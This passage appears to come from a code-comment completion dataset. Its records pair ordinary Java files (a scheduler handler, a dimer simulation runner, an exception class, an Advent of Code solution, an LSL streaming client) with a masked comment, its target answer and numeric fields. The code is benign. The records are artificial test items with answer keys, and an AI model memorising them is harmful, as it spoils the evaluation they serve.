(!traversalResult.get().isTextual()) { LOG.debug(databaseInvariant, "Displayname was not a string but " + traversalResult.get().toString()); } else { return Optional.of(traversalResult.get().asText()); } } } } else { LOG.debug(databaseInvariant, "Displayname traversal resulted in no results: " + displayNameGetter); } } else { LOG.debug("No displayname configured for " + targetCollection.getEntityTypeName()); //FIXME: deze<SUF> } return Optional.empty(); } }
True
459
17
549
19
566
18
549
19
669
18
false
false
false
false
false
true
4,343
20898_3
/* Copyright 2013 Nationale-Nederlanden Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package nl.nn.adapterframework.webcontrol.action; import java.io.IOException; import java.util.Date; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import nl.nn.adapterframework.scheduler.SchedulerAdapter; import nl.nn.adapterframework.scheduler.SchedulerHelper; import nl.nn.adapterframework.unmanaged.DefaultIbisManager; import org.apache.struts.action.ActionForm; import org.apache.struts.action.ActionForward; import org.apache.struts.action.ActionMapping; import org.quartz.Scheduler; import org.quartz.SchedulerException; /** * @author Johan Verrips */ public class SchedulerHandler extends ActionBase { public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { // Extract attributes we will need initAction(request); String action = request.getParameter("action"); if (null == action) action = mapping.getParameter(); String jobName = request.getParameter("jobName"); String groupName = request.getParameter("groupName"); if (ibisManager==null) { error("Cannot find ibismanager",null); return null; } // TODO Dit moet natuurlijk netter... DefaultIbisManager manager = (DefaultIbisManager)ibisManager; SchedulerHelper sh = manager.getSchedulerHelper(); SchedulerAdapter schedulerAdapter = new SchedulerAdapter(); Scheduler scheduler; try { scheduler = sh.getScheduler(); } catch (SchedulerException e) { error("Cannot find scheduler",e); return null; } try { if (action.equalsIgnoreCase("startScheduler")) { log.info("start scheduler:" + new Date() + getCommandIssuedBy(request)); scheduler.start(); } else if (action.equalsIgnoreCase("pauseScheduler")) { log.info("pause scheduler:" + new Date() + getCommandIssuedBy(request)); scheduler.pause(); } else if (action.equalsIgnoreCase("deleteJob")) { log.info("delete job jobName [" + jobName + "] groupName [" + groupName + "] " + getCommandIssuedBy(request)); scheduler.deleteJob(jobName, groupName); } else if (action.equalsIgnoreCase("triggerJob")) { log.info("trigger job jobName [" + jobName + "] groupName [" + groupName + "] " + getCommandIssuedBy(request)); scheduler.triggerJob(jobName, groupName); } else { log.error("no valid argument for SchedulerHandler:" + action); } } catch (Exception e) { error("",e); } // Report any errors if (!errors.isEmpty()) { saveErrors(request, errors); } // Remove the obsolete form bean if (mapping.getAttribute() != null) { if ("request".equals(mapping.getScope())) request.removeAttribute(mapping.getAttribute()); else session.removeAttribute(mapping.getAttribute()); } // Forward control to the specified success URI return (mapping.findForward("success")); } }
smhoekstra/iaf-1
core/src/main/java/nl/nn/adapterframework/webcontrol/action/SchedulerHandler.java
1,115
// TODO Dit moet natuurlijk netter...
line_comment
nl
/* Copyright 2013 Nationale-Nederlanden Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package nl.nn.adapterframework.webcontrol.action; import java.io.IOException; import java.util.Date; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import nl.nn.adapterframework.scheduler.SchedulerAdapter; import nl.nn.adapterframework.scheduler.SchedulerHelper; import nl.nn.adapterframework.unmanaged.DefaultIbisManager; import org.apache.struts.action.ActionForm; import org.apache.struts.action.ActionForward; import org.apache.struts.action.ActionMapping; import org.quartz.Scheduler; import org.quartz.SchedulerException; /** * @author Johan Verrips */ public class SchedulerHandler extends ActionBase { public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { // Extract attributes we will need initAction(request); String action = request.getParameter("action"); if (null == action) action = mapping.getParameter(); String jobName = request.getParameter("jobName"); String groupName = request.getParameter("groupName"); if (ibisManager==null) { error("Cannot find ibismanager",null); return null; } // TODO Dit<SUF> DefaultIbisManager manager = (DefaultIbisManager)ibisManager; SchedulerHelper sh = manager.getSchedulerHelper(); SchedulerAdapter schedulerAdapter = new SchedulerAdapter(); Scheduler scheduler; try { scheduler = sh.getScheduler(); } catch (SchedulerException e) { error("Cannot find scheduler",e); return null; } try { if (action.equalsIgnoreCase("startScheduler")) { log.info("start scheduler:" + new Date() + getCommandIssuedBy(request)); scheduler.start(); } else if (action.equalsIgnoreCase("pauseScheduler")) { log.info("pause scheduler:" + new Date() + getCommandIssuedBy(request)); scheduler.pause(); } else if (action.equalsIgnoreCase("deleteJob")) { log.info("delete job jobName [" + jobName + "] groupName [" + groupName + "] " + getCommandIssuedBy(request)); scheduler.deleteJob(jobName, groupName); } else if (action.equalsIgnoreCase("triggerJob")) { log.info("trigger job jobName [" + jobName + "] groupName [" + groupName + "] " + getCommandIssuedBy(request)); scheduler.triggerJob(jobName, groupName); } else { log.error("no valid argument for SchedulerHandler:" + action); } } catch (Exception e) { error("",e); } // Report any errors if (!errors.isEmpty()) { saveErrors(request, errors); } // Remove the obsolete form bean if (mapping.getAttribute() != null) { if ("request".equals(mapping.getScope())) request.removeAttribute(mapping.getAttribute()); else session.removeAttribute(mapping.getAttribute()); } // Forward control to the specified success URI return (mapping.findForward("success")); } }
True
771
9
878
12
974
8
878
12
1,140
11
false
false
false
false
false
true
3,822
158066_44
package dimerSim; import java.io.File; import org.checkerframework.checker.units.qual.A; import de.jtem.mfc.field.Complex; import de.jtem.riemann.schottky.SchottkyData; import de.jtem.riemann.schottky.SchottkyDimers; import de.jtem.riemann.schottky.SchottkyDimersDoubleCoverUnitary; import de.jtem.riemann.schottky.SchottkyDimersQuad; import de.jtem.riemann.schottky.SchottkyDimersQuadUnitary; import de.jtem.riemann.schottky.SchottkyDimersUnitary; public class RunSimulations { public static void main(String[] args) { // Create SchottkyDimers String baseFolder = "experimentExport/"; // String experimentName = "Hexagon/01_starfish/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Hexagon/02_growingLargeBubble/mu005/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Hexagon/03_convergenceToUniform/"; // int size = 600; // int numSteps = (int)1e6; // int interval = 0; // int numTimes = 1; // String experimentName = "Hexagon/04_growingStarfishHoles/mu06/"; // int size = 300; // int numSteps = (int)5e6; // int interval = 0; // int numTimes = 10; // -------------------------------------------------- // String experimentName = "Aztec/01_LargeHoleG1/"; // int size = 604; // int numSteps = (int) 1e7; // int interval = (int) 0; // int numTimes = 10; // String experimentName = "Aztec/02_LargeHole2AnglesElongated/"; // int size = 1000; // int numSteps = (int)1e6; // int interval = 0; // int numTimes = 1; // String experimentName = "Aztec/03_uniform/"; // String experimentName = "Aztec/05_growing1LargeHole/mu004/"; // int size = 500; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Aztec/06_growing2LargeHolesFromUnitary/mu01/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 1; // String experimentName = "Aztec/07_growing2LargeHolesFromUnitarySymmetric/mu01/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 1; String experimentName = "Aztec/08_growing2LargeHolesFromUnitarySymmetric1Angle/mu02/"; int size = 600; int numSteps = (int) 1e7; int interval = 0; int numTimes = 1; System.out.println("Running experiment " + experimentName + " of size " + size); String folderName = baseFolder + experimentName; // SchottkyDimers schottkyDimers = createSchottkyQuad(); // SchottkyDimers schottkyDimers = createSchottkyHex(); // SimulationManager man = new SimulationManager(schottkyDimers, folderName); continueSimulation(folderName, size, numSteps, interval, numTimes); } public static void continueSimulation(String folder, int size, int numSteps, int interval, int numTimes) { SimulationManager man = new SimulationManager(folder); man.setSavePictureInterval(interval); for (int i = 0; i < numTimes; i++) { man.simulateAndSave(numSteps, size); } } public static void growHoles(String baseFolder, int size, int numSteps, int interval, int numTimes, double[] mus) { for (int i = 1; i < mus.length; i++) { String muFolder = new File(baseFolder, String.format("%0.5f", mus[i])).toString(); } } public static SchottkyDimers createSchottkyHex(){ // Starfish: // Complex A = new Complex(Math.cos(Math.PI / 3 + 0.01), Math.sin(Math.PI / 3 + 0.01)).times(0.5); // double d = 0.07; // double[][] angles = {{d, Math.PI / 3 - d}, {Math.PI / 3 + d, 2 * Math.PI / 3 - d}, {2 * Math.PI / 3 + d, 3 * Math.PI / 3 - d}}; // One bubble with angles Complex A = new Complex(Math.cos(2 * Math.PI / 3 + 0.1), Math.sin(2 * Math.PI / 3 + 0.1)).times(0.5); double[][] angles = {{0, 0}, {Math.PI / 3 - 0.6, Math.PI / 3 + 0.6}, {2 * Math.PI / 3, 2 * Math.PI / 3}}; Complex B = A.invert().conjugate(); double[] schottkyParams = {A.re, A.im, B.re, B.im, 0.05, 0}; double[] sizes = {1, 1, 1}; // double[] sizes = {1, 0.8, 0.6}; double[] boundaryResidues = {sizes[0], -sizes[1], sizes[2], -sizes[0], sizes[1], -sizes[2]}; SchottkyDimersUnitary schottkyDimers = new SchottkyDimersUnitary(new SchottkyData(schottkyParams), angles, boundaryResidues); SchottkyDimersDoubleCoverUnitary doubleCover = schottkyDimers.getSimpleDoubleCover(); return doubleCover; } public static SchottkyDimers createSchottkyQuad(){ // G1LargeHole // double[] schottkyParamsCol = {0.9, 1, 0.9, -1, 0.08, 0}; // double a = Math.sqrt(2 / (1.5 + Math.sqrt(2))); // double x = a * (1 + Math.sqrt(2)); // double firstAngle = -x - (a/2); // double[][] angles = {{firstAngle}, {firstAngle + x}, {firstAngle + x + a}, {firstAngle + x + a + x}}; // double[][] angles = {{-2.4}, {-0.4}, {0.6}, {2.4}}; // G1LargeHole2Angles // double[] schottkyParamsCol = {0.9, 1, 0.9, -1, 0.15, 0}; // double[][] angles = {{-2.4, -0.5}, {-0.4, -0.4}, {0.5, 1.3}, {1.4, 1.4}}; // SchottkyDimersQuad schottkyDimers = new SchottkyDimersQuad(new SchottkyData(schottkyParamsCol), angles); // // G1Unitary // double theta = Math.PI / 4; // Complex A = new Complex(Math.cos(theta), Math.sin(theta)).times(0.3); // Complex ARefl = A.invert().conjugate(); // double[] schottkyParamsCol = {A.re, A.im, ARefl.re, ARefl.im, 0.00000004, 0}; // double[][] angles = {{0}, {Math.PI / 2}, {Math.PI}, {3 * Math.PI / 2}}; // G2Unitary double theta1 = Math.PI / 2 + 0.7; Complex A1 = new Complex(Math.cos(theta1), Math.sin(theta1)).times(0.3); Complex A1Refl = A1.invert().conjugate(); double theta2 = -Math.PI / 4; Complex A2 = new Complex(Math.cos(theta2), Math.sin(theta2)).times(0.3); Complex A2Refl = A2.invert().conjugate(); double[] schottkyParamsCol = {A1.re, A1.im, A1Refl.re, A1Refl.im, 0.02, 0, A2.re, A2.im, A2Refl.re, A2Refl.im, 0.02, 0}; double[][] angles = {{0, 0}, {Math.PI / 2 - 0.9, Math.PI / 2 + 0.4}, {Math.PI, Math.PI}, {3 * Math.PI / 2, 3 * Math.PI / 2}}; SchottkyDimersQuadUnitary schottkyDimers = new SchottkyDimersQuadUnitary(new SchottkyData(schottkyParamsCol), angles); return schottkyDimers; } }
nikolaibobenko/FockDimerSimulation
src/main/java/dimerSim/RunSimulations.java
2,567
// int interval = 0;
line_comment
nl
package dimerSim; import java.io.File; import org.checkerframework.checker.units.qual.A; import de.jtem.mfc.field.Complex; import de.jtem.riemann.schottky.SchottkyData; import de.jtem.riemann.schottky.SchottkyDimers; import de.jtem.riemann.schottky.SchottkyDimersDoubleCoverUnitary; import de.jtem.riemann.schottky.SchottkyDimersQuad; import de.jtem.riemann.schottky.SchottkyDimersQuadUnitary; import de.jtem.riemann.schottky.SchottkyDimersUnitary; public class RunSimulations { public static void main(String[] args) { // Create SchottkyDimers String baseFolder = "experimentExport/"; // String experimentName = "Hexagon/01_starfish/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Hexagon/02_growingLargeBubble/mu005/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Hexagon/03_convergenceToUniform/"; // int size = 600; // int numSteps = (int)1e6; // int interval = 0; // int numTimes = 1; // String experimentName = "Hexagon/04_growingStarfishHoles/mu06/"; // int size = 300; // int numSteps = (int)5e6; // int interval = 0; // int numTimes = 10; // -------------------------------------------------- // String experimentName = "Aztec/01_LargeHoleG1/"; // int size = 604; // int numSteps = (int) 1e7; // int interval = (int) 0; // int numTimes = 10; // String experimentName = "Aztec/02_LargeHole2AnglesElongated/"; // int size = 1000; // int numSteps = (int)1e6; // int interval = 0; // int numTimes = 1; // String experimentName = "Aztec/03_uniform/"; // String experimentName = "Aztec/05_growing1LargeHole/mu004/"; // int size = 500; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 10; // String experimentName = "Aztec/06_growing2LargeHolesFromUnitary/mu01/"; // int size = 600; // int numSteps = (int) 1e7; // int interval = 0; // int numTimes = 1; // String experimentName = "Aztec/07_growing2LargeHolesFromUnitarySymmetric/mu01/"; // int size = 600; // int numSteps = (int) 1e7; // int interval<SUF> // int numTimes = 1; String experimentName = "Aztec/08_growing2LargeHolesFromUnitarySymmetric1Angle/mu02/"; int size = 600; int numSteps = (int) 1e7; int interval = 0; int numTimes = 1; System.out.println("Running experiment " + experimentName + " of size " + size); String folderName = baseFolder + experimentName; // SchottkyDimers schottkyDimers = createSchottkyQuad(); // SchottkyDimers schottkyDimers = createSchottkyHex(); // SimulationManager man = new SimulationManager(schottkyDimers, folderName); continueSimulation(folderName, size, numSteps, interval, numTimes); } public static void continueSimulation(String folder, int size, int numSteps, int interval, int numTimes) { SimulationManager man = new SimulationManager(folder); man.setSavePictureInterval(interval); for (int i = 0; i < numTimes; i++) { man.simulateAndSave(numSteps, size); } } public static void growHoles(String baseFolder, int size, int numSteps, int interval, int numTimes, double[] mus) { for (int i = 1; i < mus.length; i++) { String muFolder = new File(baseFolder, String.format("%0.5f", mus[i])).toString(); } } public static SchottkyDimers createSchottkyHex(){ // Starfish: // Complex A = new Complex(Math.cos(Math.PI / 3 + 0.01), Math.sin(Math.PI / 3 + 0.01)).times(0.5); // double d = 0.07; // double[][] angles = {{d, Math.PI / 3 - d}, {Math.PI / 3 + d, 2 * Math.PI / 3 - d}, {2 * Math.PI / 3 + d, 3 * Math.PI / 3 - d}}; // One bubble with angles Complex A = new Complex(Math.cos(2 * Math.PI / 3 + 0.1), Math.sin(2 * Math.PI / 3 + 0.1)).times(0.5); double[][] angles = {{0, 0}, {Math.PI / 3 - 0.6, Math.PI / 3 + 0.6}, {2 * Math.PI / 3, 2 * Math.PI / 3}}; Complex B = A.invert().conjugate(); double[] schottkyParams = {A.re, A.im, B.re, B.im, 0.05, 0}; double[] sizes = {1, 1, 1}; // double[] sizes = {1, 0.8, 0.6}; double[] boundaryResidues = {sizes[0], -sizes[1], sizes[2], -sizes[0], sizes[1], -sizes[2]}; SchottkyDimersUnitary schottkyDimers = new SchottkyDimersUnitary(new SchottkyData(schottkyParams), angles, boundaryResidues); SchottkyDimersDoubleCoverUnitary doubleCover = schottkyDimers.getSimpleDoubleCover(); return doubleCover; } public static SchottkyDimers createSchottkyQuad(){ // G1LargeHole // double[] schottkyParamsCol = {0.9, 1, 0.9, -1, 0.08, 0}; // double a = Math.sqrt(2 / (1.5 + Math.sqrt(2))); // double x = a * (1 + Math.sqrt(2)); // double firstAngle = -x - (a/2); // double[][] angles = {{firstAngle}, {firstAngle + x}, {firstAngle + x + a}, {firstAngle + x + a + x}}; // double[][] angles = {{-2.4}, {-0.4}, {0.6}, {2.4}}; // G1LargeHole2Angles // double[] schottkyParamsCol = {0.9, 1, 0.9, -1, 0.15, 0}; // double[][] angles = {{-2.4, -0.5}, {-0.4, -0.4}, {0.5, 1.3}, {1.4, 1.4}}; // SchottkyDimersQuad schottkyDimers = new SchottkyDimersQuad(new SchottkyData(schottkyParamsCol), angles); // // G1Unitary // double theta = Math.PI / 4; // Complex A = new Complex(Math.cos(theta), Math.sin(theta)).times(0.3); // Complex ARefl = A.invert().conjugate(); // double[] schottkyParamsCol = {A.re, A.im, ARefl.re, ARefl.im, 0.00000004, 0}; // double[][] angles = {{0}, {Math.PI / 2}, {Math.PI}, {3 * Math.PI / 2}}; // G2Unitary double theta1 = Math.PI / 2 + 0.7; Complex A1 = new Complex(Math.cos(theta1), Math.sin(theta1)).times(0.3); Complex A1Refl = A1.invert().conjugate(); double theta2 = -Math.PI / 4; Complex A2 = new Complex(Math.cos(theta2), Math.sin(theta2)).times(0.3); Complex A2Refl = A2.invert().conjugate(); double[] schottkyParamsCol = {A1.re, A1.im, A1Refl.re, A1Refl.im, 0.02, 0, A2.re, A2.im, A2Refl.re, A2Refl.im, 0.02, 0}; double[][] angles = {{0, 0}, {Math.PI / 2 - 0.9, Math.PI / 2 + 0.4}, {Math.PI, Math.PI}, {3 * Math.PI / 2, 3 * Math.PI / 2}}; SchottkyDimersQuadUnitary schottkyDimers = new SchottkyDimersQuadUnitary(new SchottkyData(schottkyParamsCol), angles); return schottkyDimers; } }
False
2,232
7
2,376
7
2,445
7
2,376
7
2,630
7
false
false
false
false
false
true
990
208352_3
/* // Licensed to DynamoBI Corporation (DynamoBI) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. DynamoBI licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. */ package org.eigenbase.applib.resource; // NOTE: This class gets compiled independently of everything else so that // resource generation can use reflection. That means it must have no // dependencies on other Eigenbase code. import java.util.logging.*; import org.eigenbase.util.*; /** * Exception class for Applib * * @author Elizabeth Lin * @version $Id$ */ public class ApplibException extends EigenbaseException { //~ Static fields/initializers --------------------------------------------- private static Logger tracer = Logger.getLogger(ApplibException.class.getName()); //~ Constructors ----------------------------------------------------------- /** * Creates a new ApplibException object. * * @param message error message * @param cause underlying cause */ public ApplibException(String message, Throwable cause) { super(message, cause); // TODO: Force the caller to pass in a Logger as a trace argument for // better context. Need to extend ResGen for this. //tracer.throwing("ApplibException", "constructor", this); //tracer.severe(toString()); } } // End ApplibException.java
LucidDB/luciddb
extensions/applib/src/org/eigenbase/applib/resource/ApplibException.java
496
// dependencies on other Eigenbase code.
line_comment
nl
/* // Licensed to DynamoBI Corporation (DynamoBI) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. DynamoBI licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. */ package org.eigenbase.applib.resource; // NOTE: This class gets compiled independently of everything else so that // resource generation can use reflection. That means it must have no // dependencies on<SUF> import java.util.logging.*; import org.eigenbase.util.*; /** * Exception class for Applib * * @author Elizabeth Lin * @version $Id$ */ public class ApplibException extends EigenbaseException { //~ Static fields/initializers --------------------------------------------- private static Logger tracer = Logger.getLogger(ApplibException.class.getName()); //~ Constructors ----------------------------------------------------------- /** * Creates a new ApplibException object. * * @param message error message * @param cause underlying cause */ public ApplibException(String message, Throwable cause) { super(message, cause); // TODO: Force the caller to pass in a Logger as a trace argument for // better context. Need to extend ResGen for this. //tracer.throwing("ApplibException", "constructor", this); //tracer.severe(toString()); } } // End ApplibException.java
False
417
8
455
8
463
8
455
8
527
9
false
false
false
false
false
true
2,908
125818_0
package chris; import java.io.BufferedReader; import java.io.FileReader; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicLong; public class Day13 { private static AtomicBoolean smudge = new AtomicBoolean(); public static void main(String[] args) { System.out.println(puzzel1()); System.out.println(puzzel2()); } private static String puzzel1() { try (BufferedReader bufferedReader = new BufferedReader(new FileReader("puzzel13.txt"))) { List<List<Character>> field = new ArrayList<>(); String regel; AtomicLong totaal =new AtomicLong(); while ((regel = bufferedReader.readLine()) != null) { if(!regel.isEmpty()) { List<Character> fill = new ArrayList<>(); for (int x = 0; x < regel.length(); x++) { fill.add(regel.charAt(x)); } field.add(fill); } else { // vind perfecte horizontale spiegels int grootstePerfect = 0; for(int x=0; x< field.size() -1;x++) { boolean hMatch = getHMatch(field, x, x + 1); if (hMatch) { boolean perfect = true; for (int i= x;i> 0; i--) { if (x + (x-i) + 2 == field.size()) break; if (!(getHMatch(field, i - 1, x + (x-i) + 2))) { perfect = false; break; } } if(perfect) { totaal.addAndGet(100 * (x + 1)); break; } } } // vind perfecte verticale spiegels for(int y=0; y< field.get(0).size() -1;y++) { boolean vMatch = getVMatch(field, y, y + 1); if (vMatch) { boolean perfect = true; for (int i= y;i> 0; i--) { if (y + (y-i) + 2 == field.get(0).size()) break; if (!(getVMatch(field, i - 1, y + (y-i) + 2))) { perfect = false; break; } } if(perfect) { totaal.addAndGet(y + 1); break; } } } field = new ArrayList<>(); } } return totaal.toString(); } catch (Exception e) { e.printStackTrace(); return ""; } } private static String puzzel2() { try (BufferedReader bufferedReader = new BufferedReader(new FileReader("puzzel13.txt"))) { List<List<Character>> field = new ArrayList<>(); String regel; AtomicLong totaal =new AtomicLong(); while ((regel = bufferedReader.readLine()) != null) { if(!regel.isEmpty()) { List<Character> fill = new ArrayList<>(); for (int x = 0; x < regel.length(); x++) { fill.add(regel.charAt(x)); } field.add(fill); } else { // vind perfecte horizontale spiegels int grootstePerfect = 0; for(int x=0; x< field.size() -1;x++) { boolean hMatch = getHMatchS(field, x, x + 1); if (hMatch) { boolean perfect = true; for (int i= x;i> 0; i--) { if (x + (x-i) + 2 == field.size()) break; if (!(getHMatchS(field, i - 1, x + (x-i) + 2))) { perfect = false; smudge.set(false); break; } } if(perfect && smudge.get()) { smudge.set(false); totaal.addAndGet(100 * (x + 1)); break; } } else { smudge.set(false); } } // vind perfecte verticale spiegels for(int y=0; y< field.get(0).size() -1;y++) { boolean vMatch = getVMatchS(field, y, y + 1); if (vMatch) { boolean perfect = true; for (int i= y;i> 0; i--) { if (y + (y-i) + 2 == field.get(0).size()) break; if (!(getVMatchS(field, i - 1, y + (y-i) + 2))) { perfect = false; smudge.set(false); break; } } if(perfect && smudge.get()) { smudge.set(false); totaal.addAndGet(y + 1); break; } } else { smudge.set(false); } } field = new ArrayList<>(); } } return totaal.toString(); } catch (Exception e) { e.printStackTrace(); return ""; } } private static boolean getHMatch(List<List<Character>> field, int x, int x2) { int match = 0; for(int y=0;y<field.get(x).size();y++) { if(field.get(x).get(y).equals(field.get(x2).get(y))) match++; } return match == field.get(x).size(); } private static boolean getVMatch(List<List<Character>> field, int y, int y2) { int match = 0; for(int x=0;x<field.size();x++) { if(field.get(x).get(y).equals(field.get(x).get(y2))) match++; } return match == field.size(); } private static boolean getHMatchS(List<List<Character>> field, int x, int x2) { int match = 0; for(int y=0;y<field.get(x).size();y++) { if(field.get(x).get(y).equals(field.get(x2).get(y))) match++; } if (match == field.get(x).size() - 1 && !smudge.get()) { smudge.set(true); return true; } return match == field.get(x).size(); } private static boolean getVMatchS(List<List<Character>> field, int y, int y2) { int match = 0; for(int x=0;x<field.size();x++) { if(field.get(x).get(y).equals(field.get(x).get(y2))) match++; } if (match == field.size() - 1 && !smudge.get()) { smudge.set(true); return true; } return match == field.size(); } }
hartenc/advent-of-code-2023
src/java/chris/Day13.java
2,088
// vind perfecte horizontale spiegels
line_comment
nl
package chris; import java.io.BufferedReader; import java.io.FileReader; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicLong; public class Day13 { private static AtomicBoolean smudge = new AtomicBoolean(); public static void main(String[] args) { System.out.println(puzzel1()); System.out.println(puzzel2()); } private static String puzzel1() { try (BufferedReader bufferedReader = new BufferedReader(new FileReader("puzzel13.txt"))) { List<List<Character>> field = new ArrayList<>(); String regel; AtomicLong totaal =new AtomicLong(); while ((regel = bufferedReader.readLine()) != null) { if(!regel.isEmpty()) { List<Character> fill = new ArrayList<>(); for (int x = 0; x < regel.length(); x++) { fill.add(regel.charAt(x)); } field.add(fill); } else { // vind perfecte<SUF> int grootstePerfect = 0; for(int x=0; x< field.size() -1;x++) { boolean hMatch = getHMatch(field, x, x + 1); if (hMatch) { boolean perfect = true; for (int i= x;i> 0; i--) { if (x + (x-i) + 2 == field.size()) break; if (!(getHMatch(field, i - 1, x + (x-i) + 2))) { perfect = false; break; } } if(perfect) { totaal.addAndGet(100 * (x + 1)); break; } } } // vind perfecte verticale spiegels for(int y=0; y< field.get(0).size() -1;y++) { boolean vMatch = getVMatch(field, y, y + 1); if (vMatch) { boolean perfect = true; for (int i= y;i> 0; i--) { if (y + (y-i) + 2 == field.get(0).size()) break; if (!(getVMatch(field, i - 1, y + (y-i) + 2))) { perfect = false; break; } } if(perfect) { totaal.addAndGet(y + 1); break; } } } field = new ArrayList<>(); } } return totaal.toString(); } catch (Exception e) { e.printStackTrace(); return ""; } } private static String puzzel2() { try (BufferedReader bufferedReader = new BufferedReader(new FileReader("puzzel13.txt"))) { List<List<Character>> field = new ArrayList<>(); String regel; AtomicLong totaal =new AtomicLong(); while ((regel = bufferedReader.readLine()) != null) { if(!regel.isEmpty()) { List<Character> fill = new ArrayList<>(); for (int x = 0; x < regel.length(); x++) { fill.add(regel.charAt(x)); } field.add(fill); } else { // vind perfecte horizontale spiegels int grootstePerfect = 0; for(int x=0; x< field.size() -1;x++) { boolean hMatch = getHMatchS(field, x, x + 1); if (hMatch) { boolean perfect = true; for (int i= x;i> 0; i--) { if (x + (x-i) + 2 == field.size()) break; if (!(getHMatchS(field, i - 1, x + (x-i) + 2))) { perfect = false; smudge.set(false); break; } } if(perfect && smudge.get()) { smudge.set(false); totaal.addAndGet(100 * (x + 1)); break; } } else { smudge.set(false); } } // vind perfecte verticale spiegels for(int y=0; y< field.get(0).size() -1;y++) { boolean vMatch = getVMatchS(field, y, y + 1); if (vMatch) { boolean perfect = true; for (int i= y;i> 0; i--) { if (y + (y-i) + 2 == field.get(0).size()) break; if (!(getVMatchS(field, i - 1, y + (y-i) + 2))) { perfect = false; smudge.set(false); break; } } if(perfect && smudge.get()) { smudge.set(false); totaal.addAndGet(y + 1); break; } } else { smudge.set(false); } } field = new ArrayList<>(); } } return totaal.toString(); } catch (Exception e) { e.printStackTrace(); return ""; } } private static boolean getHMatch(List<List<Character>> field, int x, int x2) { int match = 0; for(int y=0;y<field.get(x).size();y++) { if(field.get(x).get(y).equals(field.get(x2).get(y))) match++; } return match == field.get(x).size(); } private static boolean getVMatch(List<List<Character>> field, int y, int y2) { int match = 0; for(int x=0;x<field.size();x++) { if(field.get(x).get(y).equals(field.get(x).get(y2))) match++; } return match == field.size(); } private static boolean getHMatchS(List<List<Character>> field, int x, int x2) { int match = 0; for(int y=0;y<field.get(x).size();y++) { if(field.get(x).get(y).equals(field.get(x2).get(y))) match++; } if (match == field.get(x).size() - 1 && !smudge.get()) { smudge.set(true); return true; } return match == field.get(x).size(); } private static boolean getVMatchS(List<List<Character>> field, int y, int y2) { int match = 0; for(int x=0;x<field.size();x++) { if(field.get(x).get(y).equals(field.get(x).get(y2))) match++; } if (match == field.size() - 1 && !smudge.get()) { smudge.set(true); return true; } return match == field.size(); } }
True
1,498
10
1,715
12
1,827
7
1,715
12
2,042
11
false
false
false
false
false
true
2,282
36481_22
/** * * @author Philip van den Broek, TSG, Radboud University, Nijmegen * * */ import com.sun.jna.NativeLibrary; import edu.ucsd.sccn.LSL; import java.io.*; import java.security.CodeSource; //import nl.fcdonders.fieldtrip.bufferserver.BufferServer; import nl.fcdonders.fieldtrip.bufferclient.*; public class Lsl2ft { //private static BufferServer ftServer = null; private static BufferClient ftClient = null; //boolean putHeader(final int nChans, final float fSample,final int dataType) public static void main(String[] args) throws Exception{ // arguments: LSL type stream, FieldTrip ip-address, FieldTrip port String address = "localhost"; String LSLstream; int port; String path; if (args.length < 1) LSLstream = "EEG"; else LSLstream = args[0]; if (args.length < 2) port = 1972; else port = Integer.parseInt(args[1]); if (args.length < 3) path = ""; else path = args[2]; System.out.println("Connecting to LabStreamingLayer supported device:\n"); System.out.println("Type LSL stream : " + LSLstream); System.out.println("Forwarding to FieldTrip buffer on port : " + port); if (path.isEmpty()) System.out.println("Not saving data!"); else System.out.println("Saving to : " + path); CodeSource codeSource = Lsl2ft.class.getProtectionDomain().getCodeSource(); File jarFile = new File(codeSource.getLocation().toURI().getPath()); String jarDir = jarFile.getParentFile().getPath(); NativeLibrary.addSearchPath("liblsl64.dylib", jarDir); NativeLibrary.addSearchPath("liblsl64.dll", jarDir); LSL.StreamInfo[] results = LSL.resolve_stream("type",LSLstream); LSL.StreamInlet 